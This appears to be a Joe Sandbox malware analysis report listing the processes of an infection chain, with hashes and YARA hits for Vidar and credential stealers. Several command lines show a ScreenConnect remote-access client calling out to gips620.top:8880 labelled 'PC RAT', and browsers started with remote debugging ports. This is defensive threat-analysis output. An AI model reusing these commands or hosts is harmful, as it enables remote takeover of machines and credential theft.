Path:	C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Imagebase:	0x560000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.2938375851.0000000002BB3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.2965984088.0000000005110000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:10:30
Start date:	19/12/2024
Path:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
Wow64 process (32bit):	true
Commandline:	"C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe"
Imagebase:	0x400000
File size:	147'968 bytes
MD5 hash:	CC36E2A5A3C64941A79C31CA320E9797
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:10:30
Start date:	19/12/2024
Path:	C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe
Wow64 process (32bit):	false
Commandline:	"C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe"
Imagebase:	0x19a3de60000
File size:	1'058'336 bytes
MD5 hash:	971B0519B1C0461DB6700610E5E9CA8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:10:35
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe"
Imagebase:	0x280000
File size:	5'652'480 bytes
MD5 hash:	C9EC8EA582E787E6B9356B51811A1CA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000016.00000002.3210584122.00000000057E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000016.00000002.3057397568.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000016.00000002.3228594051.0000000006631000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:10:36
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	10:10:37
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	10:10:38
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
Imagebase:	0x3d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:10:38
Start date:	19/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff787c20000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:10:39
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 6BEA3CDA60BB479BD6134249EBA64259 C
Imagebase:	0x3d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:10:39
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIA043.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3973343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Imagebase:	0xcc0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:10:41
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 62663BE67B089F3264AF2C8AE57ABC03
Imagebase:	0x3d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:10:42
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 51F875823EBE9D039049F5CCE08F98AE E Global\MSI0000
Imagebase:	0x3d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:10:42
Start date:	19/12/2024
Path:	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c="
Imagebase:	0xf30000
File size:	95'512 bytes
MD5 hash:	75B21D04C69128A7230A0998086B61AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	10:10:45
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe"
Imagebase:	0x480000
File size:	1'880'576 bytes
MD5 hash:	FF279F4E5B1C6FBDA804D2437C2DBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3421905733.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3419270172.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3421395436.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3421395436.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	10:10:46
Start date:	19/12/2024
Path:	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "81374bf4-5161-4e78-9062-2622505dd25b" "User"
Imagebase:	0xa80000
File size:	602'392 bytes
MD5 hash:	1778204A8C3BC2B8E5E4194EDBAF7135
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	10:10:49
Start date:	19/12/2024
Path:	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "071e1d02-2ded-441e-a216-a8295fcfc66b" "System"
Imagebase:	0x950000
File size:	602'392 bytes
MD5 hash:	1778204A8C3BC2B8E5E4194EDBAF7135
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	10:10:49
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:10:50
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2168,i,12495445197851295823,16602898073438706142,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:10:57
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe"
Imagebase:	0xf70000
File size:	4'440'064 bytes
MD5 hash:	44D829BE334D46439BDDC6DFAB13A937
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	10:11:04
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:11:05
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2460,i,10425933932398577591,16914703880363206691,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:11:05
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	10:11:06
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	10:11:11
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	10:11:13
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5412 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	10:11:13
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6832 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	10:11:19
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff73e300000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	10:11:19
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	768
Total number of Limit Nodes:	16

Executed Functions

Function 00B7652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00B7652A,?,?,?,?,?,00B77661), ref: 00B76567

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 190c413207f4f6d89004a735aa6a969505b1d78dd746f672bf3d04d215dff186
Instruction ID: 5622f02cfe29fdb7304ec9c3db2e03951aece6e154d4303e0f1fc5d609d0dbb9
Opcode Fuzzy Hash: 190c413207f4f6d89004a735aa6a969505b1d78dd746f672bf3d04d215dff186
Instruction Fuzzy Hash: 72E08C3010190CAFCF297B18C80DE4D3BAAEF61741F008840FD2C5A622CB35FE91DA80

Function 05380C35 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2370737337.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac9b6a66041b9f00c1cf1f18fffe15a62a88bbb18515259cb54025cac1f5bf3
Instruction ID: 75517298ae8aed369b9dfbeb287da1c62bd15610f5c1edcdd21bd3cb27cf31ca
Opcode Fuzzy Hash: 1ac9b6a66041b9f00c1cf1f18fffe15a62a88bbb18515259cb54025cac1f5bf3
Instruction Fuzzy Hash: C40121EB148210BD708DE5456B59AFBA7BFE2C77303308527F407D5D86E2991A4D6131

Function 00B45C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 00B4612B
00000419, xrefs: 00B46098
Keyboard Layout\Preload, xrefs: 00B46054
00000423, xrefs: 00B460FA
00000422, xrefs: 00B460C9

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
